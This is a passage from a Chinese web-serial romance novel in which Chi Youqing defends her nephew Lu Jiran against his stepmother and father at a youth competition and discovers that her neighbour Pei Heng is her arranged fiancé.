池又青杀到度假村的时候，陆季燃和程筱都没发现。 两个人正跟林砚一块研究一道策略题。 林砚先看到她，愣了下。 陆季燃发现林砚走神，敲敲他面前的桌子。 程筱也不解：“林砚？” 林砚抬抬下巴，朝着两个人背后扬扬。 陆季燃不明所以地回头，瞧见来人，惊喜，张口正要唤，就见程筱已经跑过去，兔子一样。 “池姐姐！” 池又青一把抱住她，揉揉她的头发：“好久不见啊。” 陆季燃：“……” 林砚偏偏还在一旁问：“那不是你小姨吗？” 陆季燃心里拔凉拔凉的，心想，对啊，那不是我小姨吗？ “愣着做什么？”池又青挽着程筱的手臂走过来，“不认识我了？” 陆季燃嘴角紧绷，挤出一声：“小姨。” 池又青微微扬眉，跟林砚打招呼。 林砚也跟程筱喊一样的称呼：“池姐姐。” 陆季燃发现这事不对劲：“这辈分有点乱。” 林砚说：“我知道。” 陆季燃不解：“那你？” 林砚说：“抱歉，阿姨两个字，我实在喊不出口。” 池又青听到他们说小话，道：“不用这么拘束，跟陆季燃一样，都喊我小姨就可以。” 陆季燃眼珠子快掉下来。 林砚和程筱都乖乖地应：“好的，小姨。” “吃晚饭了吗？”池又青看了眼腕表上的时间，“带你们去吃？” 虽然主办方都会提供餐食，但池又青觉得，他们都吃了一周多，估计已经觉得很无聊。不如带着孩子们换个别的地方吃吃，权当打打牙祭，顺便为明天的终极决赛放松一下。 跟负责的指导老师说了声，池又青带着三小只出门。 回来的时候，却遇到个没想到的人。 “陆季燃？”一阵不敢置信的女音。 陆季燃身子一僵，没敢抬头，听见这声音，继续埋头往前走。 “站住！”那个人喊，“陆季燃？！” 池又青率先停下脚步，转头，瞧见一个女人牵着一个男孩。 她偏头问身边的人：“认识？” 陆季燃的脸很臭：“不认识。” 程筱和林砚站在一边，彼此对看一眼，都没吱声。 “你怎么会在这？”董丽不敢相信自己的眼睛。 “哥。”被她牵着手的少年在见到陆季燃的时候显然高兴了起来。 “哥什么哥。”董丽转头对儿子说，“他又不是你哥。” 陆闻低头不语。 【卧槽！】052跟池又青说，【这就是陆季燃的那个后妈和弟弟！】 池又青：【这也能碰上？】 052：【陆闻成绩不错，从小也聪明，你搞这个比赛，省内外的不少人都来了，他来倒也不奇怪。】 池又青：【地球真小。】 052：【现在咋办？】 池又青：【你慌什么？有什么好慌的？你做错事了？】 052仔细一想，它没有啊！ 对哦。 那它慌什么。 “走吧。”池又青没搭理董丽二人，示意定住的三个小朋友动起来。 “等等。”董丽快步上前，“你怎么在这？你舅舅知道吗？” 陆季燃不耐的神色已经无法遮掩：“关你什么事？” 董丽脸色有些难看：“陆季燃，我毕竟——” 陆季燃：“怎么？要我大喊一声吗？后妈？” 董丽哑巴。 周围的参赛者和家长已经有点看过来了。 “还有事？”池又青把陆季燃往身后一护。 董丽不认识这个人，以为她是什么带队老师，摇摇头说没事，瞧着她把陆季燃领走。 不对劲。 陆季燃怎么会出现这呢？ 董旭在做什么？ 她终于想到自己那个混吃等死的老哥。 实话说，董丽并不喜欢自己这个哥哥。 从小到大，家里人都把哥哥当个宝。还只供哥哥读书。她要不是自己有主见，有手段，当年碰到了陆季燃的妈妈，又碰到了陆屹。她早就不知道活成什么样。 嫁给陆屹以后，她哥还把她当血包。 董丽干脆想了个办法，把看不顺眼的陆季燃丢给董旭，让这两个眼中钉彼此对付去。 现在这是什么情况？ 给董旭连打好几个电话，没人接。 董丽眉头紧锁。 “妈，怎么了？”陆闻在一旁问。 董丽摇摇头：“我没事。” “你快去跟队友准备明天的比赛。”她推推陆闻的肩膀。 找到独处的机会，董丽再次打电话，依旧没人接。 这是出事了？ 董丽忙给一个熟悉的私家侦探发消息，让他去江城查查，这段时间到底发生了什么。 她哥人去哪了？ 【不查你老公了？】私家侦探回。 董丽翻白眼：【不查。】 陆屹什么德行，她清楚得很。 现在指不定又包到哪个小姑娘了。 早在陆屹选择她的时候，董丽其实就已经预料到今天，并且一直以来，都知道那些苗头。 可是又有什么办法呢？她跟陆季燃的妈妈季女士最大的不同是，她看得清楚明白。不管陆屹在外面怎么花都无所谓，只要家在她手里，陆家的未来在她手里，一切都没关系。 董丽收到侦探的回复。 来消息很快。 因为董旭这事当初闹挺大的。 【你哥因为敲诈勒索和暴力伤人还有赌博进了警局，但中间因为帮派闹事，失踪了，现在人不知道在哪。需要我查吗？】 随着这句话发来的，还有一份十分详尽的报告。 董丽回：【不用。】 董旭在哪她并不关心。 她现在想不通的是，既然董旭出事这么久，为什么陆季燃都没联系过他们？这个混小子，为什么看起来变化这么大？ 【陆季燃的小姨把他带走了。】侦探回，【这事你不知道吗？】 小姨？ 陆季燃打哪来了个小姨？ 董丽一头雾水，怎么都想不明白。 难道是昨天遇见的那个女孩？从年龄上来看，的确是这样的。 董丽心里乱糟糟的。 要是陆屹知道陆季燃现在变化这么大，会不会又把陆季燃带回家？ 那她这么多年算什么？ 她看了陆季燃他们队的比赛记录，一路走过来，成绩都不错。都快赶上小闻他们队了。 如果陆季燃他们队伍赢了小闻…… 董丽觉得不能这样坐以待毙下去。 她干扰不了比赛进程，难道不能想办法影响陆季燃的心态吗？ 证 明她是陆季燃后妈的身份后，董丽从组委会那得到了陆季燃的房间号。 “找人？”池又青瞧见她的动作，问。 “你好。”董丽面上功夫做得很足，“我找陆季燃有点事。” “有什么事？跟我说吧。”池又青答。 董丽：“你是？” 池又青抱臂靠着墙：“他小姨。” 果然，她猜得没错。 董丽笑着说：“你好你好，怎么称呼？” “不用称呼。”池又青面色很冷，“说事吧。” 董丽自打成为陆屹的夫人后，出门在外很少被人这样下面子。脸色不快起来，却又不想跟这样小丫头计较。 “我找陆季燃，我要跟他说。” “你跟他有什么好说的？”池又青锐利的目光瞧着面前的女人，包养良好，的确是富太太的样子，但是面相透人品，看起来有几分尖刻。“当初不是你把他赶到江城吗？怎么，你现在要来道歉？” 董丽：“……这位小姐，麻烦你说话放尊重一些，什么叫赶？” 池又青：“哦，那你说说，不叫赶，是什么？” 董丽忍着性子：“陆季燃跟你说了什么？当年那件事，根本不是他说的那样。” 池又青微微扬眉，等着董丽继续。 董丽决定给池又青上点眼药。 “我不知道陆季燃这孩子在你面前是什么样的，但是小姑娘，你还小。你不知道现在的孩子有多会演。他以前啊，差点害死他的弟弟。” “怎么说？”池又青问。 董丽讲，陆季燃有一次故意给陆闻吃花生，让陆闻差点过敏休克。 池又青却觉得事情并非如此。 不然陆闻刚刚干嘛那样唤陆季燃？ 谁会对差点害死自己的人这样亲切？ 【052，当年具体什么情况？】池又青问。 052说：【数据有点古早，稍等，我调取一下。】 说是这么说，但052的反应速度非常快。 池又青一眼扫完，再看董丽，都快要佩服她了。 姐妹你有这个野心你做点啥不好？ 算计陆屹身边那点位置有意思吗？ 面对池又青的目光，董丽显得有些无所适从。 “你这样看我做什么？”她没忍住，还是把这句话问出口。 池又青瞧着她：“你不累吗？” 董丽愣了下：“什么？” 池又青：“这么多年，谎话说得真把自己说信了？你儿子到底是为什么过敏，你心里不清楚？” 董丽呼吸一滞：“我不知道你在说什么。” 池又青：“你要真不知道，就不会是这个反应。” 她打量着董丽：“你觉得陆闻知道吗？当初是他妈妈不小心，才弄错，为了不被老公骂，把问题推给年幼的哥哥解决？” 董丽浑身发冷。 谁跟她说这些事？ 陆季燃吗？ 可是就连陆季燃，也不知道真相的。 “你胡说！”董丽心虚得有点着急，想要伸手推池又青一把，让她住嘴。 陆季燃从转角走出来，一把抓住董丽的手：“够了。” 他眼睛发冷：“你怎么说我都没关系，但不能这样对我小姨。” “你放心。”陆季燃面露不屑，“我不会再回陆家，陆屹的所有钱都是你的。现在，请你离开。” 董丽从没见过陆季燃这样。 在她印象里，陆季燃从来都不是这样的。 董丽怔住。 陆季燃干脆拽着池又青的手，把她往房间里带。 “你跟她说那么多干什么？”陆季燃有点不高兴，“以后她要是再找你，小姨，你不用理她。” “怕什么？她又吃不了我。”池又青没怎么在乎。 陆季燃说：“怕脏了你耳朵。” 陆家那些事，乱七八糟，以前把陆季燃困住，如今他好不容易走出来，不想再让池又青也受这些事的影响。 他的生活，是池又青出现后才好起来的。 陆季燃对此心知肚明。 不要回头看。这是陆季燃跟林砚和程筱搭伙组队搞竞赛以来学到的印象最深刻的一件事。在比赛中，如果一个得分点没抢到，没关系，继续往前走。不要回头看。不要让自己陷死在那一个关卡里。 不往前走，就不会知道路究竟有多远。 “反正要是她和陆屹再出现，你都别搭理。”陆季燃对池又青说，“你只是我的小姨，跟他们没关系。” “知道啦。”池又青拍拍他的肩膀，“真长大了呀臭小子。” 陆季燃哼了一声：“我去找他们继续做准备了。” 池又青：“去吧去吧。” 次日，是决赛日。 “你怎么来了？”董丽见出现在面前的男人，有些无所适从。 陆屹皱紧眉，整理着自己的领带，奇怪地看着董丽：“你不是一直说我不关心陆闻，从来不看他的比赛吗？怎么，我今天来了，你还不高兴？” 陆屹觉得女人真有点奇怪。 “不是你前两天还在跟我生气？说这样的大的一场竞赛，我都不在。我现在来了啊。” 陆屹真想不通，自己的妻子为什么表情这样难看。 董丽被陆屹的话搞得血压飙升又不能当场发火，只能忍着脾气，领着陆屹往里走。 心里琢磨，往日叫他来不来，今天倒是来了，但是陆季燃也在啊！ 那还不如不来。 董丽瞧着走在身边的男人，暗暗在心里翻白眼。 第42章 第42章婚约对象！？ 陆屹坐在观众席上，眼神时不时往自己的手机上看，偶尔回应妻子的讲话。 “接下来让我们欢迎江城九中的队伍，有请选手林砚，程筱，陆季燃。” 陆屹眉头微微蹙起，从屏幕上抬头，看向舞台，离得太远，他看不清。但眼神落在直播的屏幕上，硕大的荧幕之中，有一张让他觉得既熟悉又陌生的脸。 陆季燃。 他的儿子。 陆屹不理解地问身边的妻子：“他怎么会在这？” 董丽已经不想给陆屹好脸色看了。 刚刚陆闻出场的时候，都是她一肘子把陆屹撞醒，陆屹才抬头看。 现在到了陆季燃，这老东西居然就变得这么积极了。 董丽没好气地说：“你问我，我问谁？他不是你儿子吗？你问他啊。” “你——！”陆屹的脾气被董丽这两句话搞得有点起来。 “能小声点吗？”一旁的家长忍不住对着他们说。 “抱歉。”陆屹朝着对方回。 他保持了安静，却怎么也想不明白，为什么陆季燃会在这里？ 当比赛结束，主持人宣布江城九中的队伍拿到第三名时，陆屹忍不住兴奋地对旁边的人说：“那是我儿子，那是我儿子！” 董丽坐在原位，远远地看见台上，陆闻没能闯进前三，正在低头收拾东西。 在看身边的男人，那模样都快比得上范进中举。 她忍不住尖酸地说了一句：“你把人家当儿子，人家指不定根本不把你当爹。” 陆屹转头看她：“你今天是怎么回事？” 董丽冷笑一声，没说话，和高兴的陆屹不同，她在意的只有陆闻。她起身，快步跟着离席的人员走开，去找陆闻。 陆屹也跟着，但他的目标不是陆闻。 “儿子！”近了后台，陆屹大声地喊。 陆季燃刚拿在手里的铜色奖章骤然被攥紧。 池又青看了眼，对程筱和林砚说：“你们先回，我和他一会来找你们。” 程筱点点头，跟林砚离开。 “儿 子，真的是你！“陆屹惊喜地讲，边说边靠近，想要伸手去碰陆季燃的肩膀。 陆季燃毫不犹豫地躲开，说：“陆闻不在这。” 陆屹：“我来找你啊，傻小子。” 陆季燃面露嘲谑之色：“真是难为你这个大忙人，还记得有我这么个儿子。” “咳。”陆屹轻咳一声，“爸爸最近是有些忙，但今天有空，怎么样，请你去吃饭？” “不去。”陆季燃盯着男人，“还有，不要这么跟我说话，让人觉得恶心。” “你——！”陆屹火气上来。 “小姨，我们走吧。”陆季燃对池又青说。 陆屹这才把目光放在站在陆季燃身边的人身上：“小姨？你哪来的小姨？” 自从他跟季瑾结婚后，季家的人同他们就没有什么来往。小姨？他可不记得季瑾有一个这样的妹妹。 “关你什么事。”陆季燃满脸都写着不厌烦，“这是我小姨，又不是你的。” 池又青被陆季燃的反应逗笑。 陆屹显然就没有她的好心态了，面对陆季燃如此不尊重自己的态度，陆屹的脾气有点藏不住了：“你怎么跟我说话的？我是你爹！” 陆季燃的眼神像刀子一样剜下来：“我爹？把我一个人丢给外人，不管不顾，这就是当爹的做的事？你说这话你好意思？” 陆屹有些语塞，却又辩解道：“这都是为了你好，你看，你现在不就很好吗？” “怎么？我还要谢谢你？”陆季燃盯着陆屹，“对，我是要谢谢你，这么多年不闻不问，一出现就这副模样。陆屹，我谢谢你，让我意识到，我真的对你不抱什么期待了。” “你就不能像之前一样，不管我吗？就当没我这个儿子，我也没你这个爹。” “陆季燃！”陆屹的音量陡然提高，“翅膀硬了是吧？你知不知你的户口还在我手里！我是你的监护人！” “非那这事说吗？”池又青看不下去，“陆先生，你要是想算账，可以，我奉陪。这么多年，你对陆季燃尽过抚育的义务吗？” “关你什么事。”陆屹面色难堪，“他是我儿子！你一个外人少在这插嘴。” “我小姨才不是外人！”陆季燃伸手将陆屹往外一推。 陆屹后退两步，步伐踉跄，难以置信地看着陆季燃。 “陆先生，你要是很想跟我争一争，我奉陪。这几天希望你注意来电，会有人联系你。”池又青的手搭在陆季燃的肩膀上，如一记强心剂。 陆屹嗤笑一声：“争什么？你算什么东西，这样跟我说话！你知不知道我是谁！” “主办。”有位西装革履的工作人员走过来，朝着池又青微微颔首，道，“正找你呢，赛后有些事情需要你处理。” “来了。”池又青说。 陆屹愣住，忙拉住一位路过的工作人员，问：“那是你们主办？” “对啊。”工作人员奇怪地打量着他，“你不知道吗？” 陆屹哪里知道？ 他赶忙低头拿出手机查看这竞赛的主办。 混了这么多年，要是看不出这里面有哪些门道，那陆屹也算白干。 他刚刚颇有底气的心早就变得犹豫心虚起来。 陆季燃这从天而降的小姨，究竟是什么来历？ 他想跟上去，却被拦住，只好回头找妻子。 一见董丽，张口就问：“你知道陆季燃有个小姨吗？” 董丽强忍着怒气：“你确定现在要跟我说这个？” 陆屹：“不然？” 董丽看了眼有些垂头丧气的儿子，又看了眼对此毫不在意的陆屹。 她忽然觉得自己这么多年来的算计十分可笑。 以为是自己赶走了陆季燃，替陆闻争到了陆屹心里的地位。 现在才发现，原来陆屹在乎的不是他的儿子是谁，只在乎谁更能替他争光添彩。 “跟你有什么关系？”董丽说，“反正你也没把陆季燃当儿子。” 陆屹瞪大眼，想发火，董丽已经拍拍陆闻的肩膀，领着他离开，留下陆屹一个人，面对周围人好奇的目光，尴尬又恼怒。 今天这一个个的，都在发什么疯？ * “还在不高兴？”池又青瞧见陆季燃的脸色并不好看。 “烦。”陆季燃说，“不想看见他。” 他瞄了眼池又青的脸色：“小姨。” 池又青：“嗯？” 陆季燃语气充满不确定：“我是不是又给你添麻烦了？” “少来。”池又青敲他脑袋，“倒是你，真不想跟你爸扯上关系了？” “不想。”陆季燃斩钉截铁地说。 “成，我知道了。”池又青答。 陆季燃小声地说：“小姨，你刚刚跟我爸说的那话，什么意思啊？” “嗯？” “就让他等电话什么的……” “这个啊。”池又青神秘一笑，“陆季燃，你想不想换个监护人？” 陆季燃眼睛微睁，很快就反应过来，弄清楚池又青的意思，他脸上带着一点激动却又不确定的表情。 “小姨，你要当我监护人啊？”他询问。 “不满意？” 陆季燃忙说：“怎么可能！” “但是——”他瞧瞧池又青，说，“我还以为——” “要说就说，支支吾吾做什么？”池又青笑他。 陆季燃：“之前不是说在江城待不久吗？” “非要在江城待着才能做你的监护人？” 陆季燃摇摇头：“没有！” “那不就成了。”池又青拍拍他的肩膀，“这事就交给我，别操心了，现在，享受你们的胜利才是真的。” 陆季燃和程筱林砚能在比赛里拿到第三名，实在有些出乎池又青的预料。 毕竟这一场竞赛进展到最后，已经是全国的天才少年在pk。 052：【也没那么奇怪吧，你看陆季燃记忆力好，程筱和林砚两个都是理科大神，逻辑怪，各有所长，互补了。而且正好决赛的时候有音乐数列题，所有队伍里就他们仨答对。】 池又青：【你说得也是。】 池又青远远地就看见程筱激动的脸，白皙的脸颊红扑扑的，铜色的奖章被她挂在胸前，时不时低头拿起来看一眼。 “又青！”打扮典雅的妇女快步走向她。 “干妈！”池又青当真惊讶。 她迎上去，拉住白姨的手：“你怎么也来了？” “给你一个惊喜呀。”白姨说，“不来都不知道，你把这活动办得这样大。” 白姨虽然有五十来岁，但包养得体，烫了一头小卷毛，看起来有点潮。头发是染得全白，带了一点点奶奶灰。脖子上的珍珠项链绕成一圈，散发着莹润的光泽。 她很喜欢这个干女儿，一见面就是爱不释手地搂着她，又让她转两圈看看，非要说池又青瘦了。 “哪里。”池又青知道自己的体重是个水平，“是你太久没见我啦。” 白姨哼了一声，说：“那你怎么不来找干妈？” “忙嘛，干妈别生气啦。”池又青身子微微弯曲，把头靠在白姨的肩膀上。 “小撒娇怪。”白姨掐掐她的脸蛋，又环顾四周，跟她说，“我一开始还以为弄这个比赛是闹着玩呢，现在一看，规模比我想得大。” “哎呀。”池又青在白姨面上露出些许少女的娇态，拉着她撒娇道，“我也没想到呀。” 很多事的发展都出乎她的意料。 白姨拍拍她的胳膊，对她说：“我也没想到呢，特别是你跟小裴，这事我也没想到。” 池又青顺口说：“我跟裴老师？怎么了？” 白姨提醒她：“还问我怎么了？难道不是你小时候自己说的，绝对不会跟婚约对象在一起？” “……啊？”池又青隐隐约约觉得哪里有点不对劲，“白姨，我婚约对象，谁啊？” “你这孩子，在我面前还装傻？小裴啊，裴珩，还能有谁？”白姨以为她在开玩笑。 池又青嘴角的笑意快要稳不住，她问：“您说什么？裴珩是我婚约对象？” 白姨再糊涂也察觉出不对劲，她轻咳一声，试探着问：“乖乖，你还不知道？” “我现在知道了。”池又青微笑，“谢谢白姨。” “……诶！”白姨的头忽然缓缓发疼起来。 这都什么事啊！ 池又青偏偏不放过她：“白姨，你怎么这样想？说来听听。” 白姨想走了，随口道：“我就看小裴跟你微信点赞了呀……” “就这样？”池又青可不信。 白姨恨不得摇起小旗子呐 喊了，又不忍心瞒着自己最亲爱的干女儿，跟她说实话：“黑匣就是小裴的公司，请的这几位老师，我也见过的。我想着，以小裴的性格，若不是……他不会这样帮你的。” “这段时间裴家的事也闹挺大，他有个叔叔在公司里胡乱动手脚，他估计是在处理这件事。我看他在这种时候还想着帮你，就觉得他对你肯定不一般。” 白姨还想替裴珩再说几遍好话。 池又青一脸我都明白的样子点点头。 “是挺不一般的。”池又青笑得非常温柔，“我感受到了。” 白姨暗道不妙，悄悄给裴珩发消息。 【小裴啊，是姨对不起你。】 裴珩收到消息的时候还没明白发生了什么。 他刚从公司赶过来，处理完一堆破事，知道竞赛结束，受池又青的邀请，一块来参加庆功晚宴。 停好车，走进宴会厅。 扫了眼，池又青不在，裴珩走向白姨。 “姨。”他还穿着一身西装，领口只解开一点，同白姨说的时候，微微低头，询问，“发生什么事了？” 白姨现在看见他都觉得害怕：“你怎么来了？！” 她做贼心虚一样望了望四周，连忙两只手一起抬起来，把裴珩往外推。 裴珩不明白，眉头微蹙，被迫跟着她的力道挪了几步。 “你怎么没告诉我一直你瞒着又青？”等找到一个合适的小角落，白姨小声地拽着他问。 裴珩听这句话，还有什么不懂？一转头，看着池又青出现，对上他的时候，脸上是客气又疏离的表情。裴珩在心里叹气。 “自求多福吧。”白姨拍拍裴珩的背，忙逃离一触即发的战场，走到另外一边去。 裴珩走向正站在甜品台边的人，开口第一句话就是：“我错了。” 池又青夹起一块小舒芙蕾放在餐盘中，对裴珩的话充耳未闻，径直绕开。 裴珩跟上：“我不是故意的。” 池又青抬眸瞧他：“怎么？有人在你嘴里塞了袜子让你没办法说话不能告诉我？” 裴珩见她愿意跟自己讲话，眼眸一弯：“那倒没有。” 池又青瞪他一眼。 这人还笑？ 裴珩跟上她的脚步，低头说：“一开始真没想瞒着你。” “池小姐。”有人热情地来跟池又青打招呼。 池又青笑着回聊几句，又收敛表情。裴珩继续跟在她身边，说：“后来是我不敢先说。” “这有什么不敢？”池又青停下脚步看他，“瞒着我很好玩吗？” 她盯着裴珩的眼睛，质问：“你从什么时候知道的？” “上次我找白姨帮忙？”她猜测。 裴珩摇头。 “那什么时候？”池又青问。 裴珩望着她：“第一次。” 池又青瞪大眼：“蒋瑶那次？！” 裴珩纠正：“你上错要去找你的男朋友那次。” 男朋友三个字被他说得格外认真。 池又青气笑了：“你那个时候就认出我了？” 裴珩：“嗯。” 好了。 池又青心想，她不要跟这个男的说一句话了。 这段时间以来，裴珩什么都不说，看着她误会，是不是觉得很好玩，很搞笑？池又青越想越生气。 这气直到庆功宴结束，也没消。 送走白姨，池又青往回走。 今晚还要在度假村再睡一夜，明天她带着小孩几个回江城。林砚的爸妈今晚倒是已经把他接走，但程筱和陆季燃可没人管。 瞧见某个人一直跟着，她心里的火气就烧得更旺。 “你没地去了？”池又青冲着裴珩说。 裴珩的房卡在指尖晃了晃：“我也订了房。” 池又青语塞，转头继续往前走。 裴珩跟着她，影子在身后晃，池又青低头就能看到，他保持着一定的距离，不算远也不算近。 池又青忽然顿住脚步。 她看见裴珩的影子也停下。 “如果今天白姨不说，你打算什么时候告诉我？”她转头问。 “你没想过？”池又青问。 “我承认，我在逃避。”裴珩答，“我想过，再过些时日是你的生日，我觉得应该在那之前告诉你，但是——” 他顿了顿。 裴珩的脸上露出一种无措的表情，池又青认识他这样久，不管发生什么事，都没在他的脸上看过这种表情。 “告诉我你的身份，告诉我我们之间已经存在的关系，这些话很难说出口吗？”池又青一脚踩上裴珩的影子，仿佛这样就能泄愤。 裴珩瞧见她的动作，低声说：“抱歉，对我来说，是有一些困难。” “怎么？裴大老板有语言表达障碍啊。”池又青尖酸道。 “我怕你会讨厌。”他讲，“池又青，我怕你会讨厌。” 池又青：“为什么？就因为你是我的婚约对象？” 裴珩：“嗯。” 池又青哼了一声，说：“我才不是那么无聊的人呢。” “真的吗？”裴珩不太相信，“如果见面第一眼我就告诉你我的身份，我们应该不会再有第二次对话的机会。” 池又青：“……谁、谁说的。” 裴珩苦笑：“我知道你很讨厌这段关系。” 池又青的心思被说中，一瞬间有些心虚，但她很快又反应过来，又不是她在隐瞒，她心虚什么？ 偏偏裴珩又说：“我以为你能认出我的。” 他说：“我从小就知道你。” 池又青轻咳一声，没好意思说她从小到大单方面就屏蔽了来自未婚夫的消息。谁跟她提她就跟谁急的那种。长大后，更是如此。就连她妈之前脑门发热拿给她的资料，她也没打开。 池又青心里一瞬有点后悔。 早知道就看一眼啊。 起码翻开封面往里瞧一下。 事情也不会变成今天这样。 跟一直以来最不想发生联系的人搞上了暧昧。 还弄出这么大的乌龙，一直误会对方失业没工作，让对方当家教，做兼职…… 池又青有点想死。 她不想说话，瞪了眼裴珩，继续往前走。 “我是不是搞砸了？”裴珩忽然问。 池又青一言不发。 她现在才不信这个男人呢。 茶里茶气的。 “那我们还能继续吗？”裴珩又问。 池又青偏头横他一眼：“我跟您这位婚约对象都没开始过，有什么好继续的？” 裴珩瞧着她加快的脚步，苦笑，也跟上。 直到把她送到房间楼层，他才离开。 次日，池又青让陆季燃和程筱收拾东西准备回江城。 “身份证拿好。”池又青说，“我们坐动车回去。” 裴珩正侯在门口，主动上前来拿行李。 池又青紧握着行李推手，不肯放。 陆季燃诶了一声：“裴老师不是开车过来的吗？我们坐他的车回去不就好了？” 裴珩也随着陆季燃的这话转头看她。 听到裴字池又青就头疼。 “不坐。”她说。 陆季燃想不通：“为什么啊小姨？你这几天好辛苦，坐裴老师的车回去，正好车上再休息休息。” 裴珩接：“我开车很稳，你放心。” 池又青：“……” 她瞪一眼裴珩，又无可奈何地看向陆季燃。 我谢谢你啊贴心大侄子。 陆季燃一头雾水。 程筱倒是瞧出不对，拉拉陆季燃的袖口，让他别说。 “走吧。”池又青最终还是松了口。 两小只走前面，裴珩在她身侧，来替他推行李。 池又青盯他一眼，松开手。 裴珩接过。 池又青说：“我只是不想解释。” 娃娃亲未婚夫，这六个字池又青都说不出口。 什么年代了啊！ “我明白，不用同我解释也没关系。”裴珩说，“你可以做任何你想做的事，我都接受。” 顿了顿，他又说：“当然，你愿意和我解释，我也很开心。” “……”她咬牙切齿地说，“我是说我不想跟陆季燃他们解释。” “但你也在跟我解释，你为什么愿意上我的车。”裴珩道。 池又青：“……” 她是不是以后跟裴珩吵架都要这样，跟做阅读理解似的？ “我很开心。”裴珩补充强调。 池又青捂着耳朵：“啊啊——” 她感觉自己现在像那个表情包。 捂着耳朵走在前面，背后是个男人在吹喇叭。喇叭里字字句句都是‘我很开心我很开心’。 走在前面还在讨论昨天没解出来那道题的陆季燃和程筱听到池又青这样一声喊都愣住，回头看。 池又青动作一僵。 裴珩冷静地说：“没什么，刚有老鼠。” 第43章 第43章是季燃，不是陆季燃。…… “你跟裴老师吵架了？”回家后，陆季燃赖在池又青家里不走，问了这句话。 池又青刚拧开从冰箱里捞出来的矿泉水，听到这话，抬眸瞄他：“你很闲啊？” 陆季燃非常自然地接过她手里的水瓶，替她拧开以后又递回去，嘟囔一句：“你们看起来不太对劲，裴老师惹你不高兴了？” 有那么不对劲吗？ 池又青不理解。 她不就是上车就扣好安全带倒头就睡下车后也一句话不说吗？ “少操这份心。”池又青跟陆季燃说，“竞赛是赢了，但期末考也快了。Russell还跟我说，这段时间欠的吉他课要补上。问我新曲子你练完了吗？” 每多问一个问题，陆季燃就多汗流浃背一分。 他如临大敌，后悔自己多说那句话，麻溜地滚回楼上去。 池又青坐在沙发上，抱着枕头，怎么想都觉得心里还是有点生气，在好友群里吐槽。 《劳资蜀道（3）》 公主今天也不想带娃：家人们，天塌了。 公主今天也不想带娃：你们知道那个邻居是谁吗？ 别读博会发疯：咋，有故事？ 吃香喝辣还点鸭：听着语气，宝贝你是开到隐藏款了啊。 公主今天也不想带娃：你们都知道我那个娃娃亲对象吧？ 吃香喝辣还点鸭：知道啊，就是那个你姥姥他们给你安排的，本来说是让你妈妈那一辈娃娃亲的，结果你姥姥一直没怀孕，后来领养的你妈妈，没办法，娃娃亲的约定就落在你头上了。 公主今天也不想带娃：对。 吃香喝辣还点鸭：……卧槽，事情不会是我想的那样吧？ 别读博会发疯：就是他？！ 公主今天也不想带娃：就是说啊/汗颜 吃香喝辣还点鸭：不是，姐们，你娃娃亲对象你都没认出来？ 公主今天也不想带娃：我又没见过，认出来个毛。 别读博会发疯：那他也没认出来你？ 公主今天也不想带娃：呵呵。 吃香喝辣还点鸭：小池宝宝，你被玩弄了。 别读博会发疯：小池宝宝，你被玩弄了。 吃香喝辣还点鸭：我是说我怎么遇不到这种又帅又好心的邻居，搞半天是父母之命媒妁之言啊。 别读博会发疯：还好没搞上，不然这事就说不清了。 公主今天也不想带娃：真的，我心里一阵后怕。 吃香喝辣还点鸭：怕啥？怕搞到手他问你要名分？ 公主今天也不想带娃：之前就想着反正以后也不会见面才胆子大一些的，结果—— 别说不会见面了。 按照这个架势，她都怕裴珩大过年来家里拜年。 池又青一想到那个场面，都觉得有些恐怖。 别读博会发疯：收手吧女人。 吃香喝辣还点鸭：别啊。 吃香喝辣还点鸭：他既然都知道，那他还这么配合，说明他心甘情愿啊。 吃香喝辣还点鸭：再玩玩呗，反正闲着也是闲着。 池又青对崔妍这话无语。 她哪里闲着就是闲着？ 她还要马不停蹄设计新品，跟律师联系讨论争取陆季燃监护权的事，哪里有闲工夫管裴珩？ 池又青铁了心不搭理裴珩。 不管这个人发消息给她，还是出现在她家门口，她都当没看见。 效果很显著。 一周后，裴珩没声了。 “他放弃啦？”崔妍打电话跟池又青八卦。 池又青一边开着语音，一边画着稿子，语气平淡地说：“谁知道呢。” 崔妍奇怪：“这不应该啊。” “怎么？”池又青问。 “我觉得你家邻居看起来不像是这么容易放弃的人。”崔妍说。 陈念一边写论文一边插嘴：“这怎么看出来的？” “毕竟我要是你未婚夫，见面第一次发现你根本不认识他，只有他单方面认识你……我从这就不会继续往下了。”崔妍说，“多没面子啊。” “不提他了。”池又青撕下不满意的画纸，重新翻出一张，转了下手里的笔，“说说你跟那个影帝。” 陈念问：“霍什么的？” “霍励吧。”池又青依稀记得，“励志的励。” 崔妍笑着：“我跟他又没什么，睡两觉的事而已。别的富婆花钱还睡不到，我就当免费享受了。” “我看他的ip地址跟你位置一样诶。”池又青说，“真没什么？” 陈念不知道是不是跑去看了眼，回来说：“你别告诉我你俩在录节目。” “一个旅游综艺。”崔妍说，“咋？我跟他工作我犯法？” 池又青：“念念只是担心你在镜头前藏不住，到时候出事，一半以上的骂声都在你身上。” 霍励的粉丝看起来不像是吃素的。 崔妍作为名模，在业内很有名声，但粉丝体量终究比不过当演员的。 “放心，我心里有数。”崔妍说。 聊了会，崔妍先挂断电话，节目组在找她。池又青和陈念又讲了会八卦，也双双退出语音频道。 （你有一天新消息未查看） 池又青瞧着屏幕上弹出来的提醒。 她点进去一瞧。 人美心黑坏邻居：[图片] 裴珩发来的图片，是开花的仙人掌。 人美心黑坏邻居：之前说好的，开花了，请你来。 人美心黑坏邻居：要来吗？ 池又青冷笑一声。 youqing：不来。 这么说着，她又点开裴珩发过来的照片瞧了下。夜皇后开花真的很美，花大如盘，白色的花瓣就像是天空中的月亮，优雅又漂亮。 花是从带刺的仙人掌根茎上开出来的，因而比起其他的花，多了一份特别的美丽。 人美心黑坏邻居：我放在阳台了，你想看的话，今夜随时都可以。 池又青想，夜皇后可能是昙花的亲戚。 干嘛只在晚上开啊？ 她心里是有点好奇，但是又不想让裴珩发现。 干脆装没看见，又画了会稿件。 眼看已经凌晨两点，池又青站起身，活动了下僵直发疼的腰背，锤锤肩膀，悄声走到阳台边，推开门，往隔壁看了眼。 邻居的阳台上的的确确放着一盆特别的仙人掌。 像是怕她没注意到似的，仙人掌周围甚至特意有从客厅搬来的立式台灯，强调一样照亮着洁白的花朵，让人想不注意到都有些困难。 常在礼品盒里会看见的小彩灯在阳台上歪歪扭扭的挂成字母模样。 SRY。 幼稚得不像是裴珩弄出来的事情。 手机一震。 人美心黑坏邻居：看见了吗？ 原来他还没睡。 youqing：大半夜搁这蹲点呢？ 人美心黑坏邻居：还好蹲到了。 youqing：躲起来偷听我家动静？ 人美心黑坏邻居：想光明正大的，怕你看见我站在阳台上生 